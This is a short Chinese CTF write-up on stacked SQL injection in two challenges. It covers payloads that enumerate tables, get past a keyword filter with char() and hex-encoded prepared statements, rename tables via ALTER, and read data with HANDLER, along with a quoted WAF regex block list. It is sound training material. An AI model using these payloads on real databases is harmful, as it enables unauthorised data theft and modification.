堆叠注入
- [强网杯 2019]随便注
1';show tables; #回显两表:1919810931114514和words
1';show columns from `table_name`; 获取列名
1919810931114514表中有flag字段
words表中有id和data字段
输入1回显两个数据故查询的是words表
推测内部查询语句为select id,data from words where id='$id'
解:
一、预编译
因为过滤了select等字符,利用char()绕过
payload:
1';
Set @sql=char(115,101,108,101,99,116,32,42,32,102,114,111,109,32,96,49,57,49,57,56,49,48,57,51,49,49,49,52,53,49,52,96);
prepare tsql from @sql;
execute tsql;#
脚本编程十进制:
flag="select * from `1919810931114514`"
for i in range(len(flag)):
if i == 0:
print('char(%s'%ord(flag[i]),end="")
else:
print(',%s'%ord(flag[i]),end="")
print(')')
也可利用十六进制绕过waf
payload:
1';
Set @sql=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare tsql from @sql;
execute tsql;#
脚本编程十六进制
flag="select * from `1919810931114514`"
for i in range(len(flag)):
print(hex(ord(flag[i])).replace("0x",""),end="")
二、修改表名与字段名
大概思路:因为我们想要页面回显flag内容,于是将words表名改为其他名字,然后将1919810931114514表名改为words,再把flag这个字段替换成id字段,最后查询select id from words where id='$id'
就相当于查询select flag from words where flag='$flag'
payload:
1';
alter table words rename to test;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);#
最后输入1’ or 1=1# 得到flag
- [GYCTF2020]Blacklist
waf:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
过滤了set,prepare,alter等所以上面两种方法行不通,看看表和列
1';show tables; #回显两表:FlagHere和words
1';show columns from `table_name`; 获取列名
FlagHere表中有flag字段,words表中有id,words字段
还是默认查询回显words表中内容
解:以下摘抄
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
payload:
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
写东西,理思路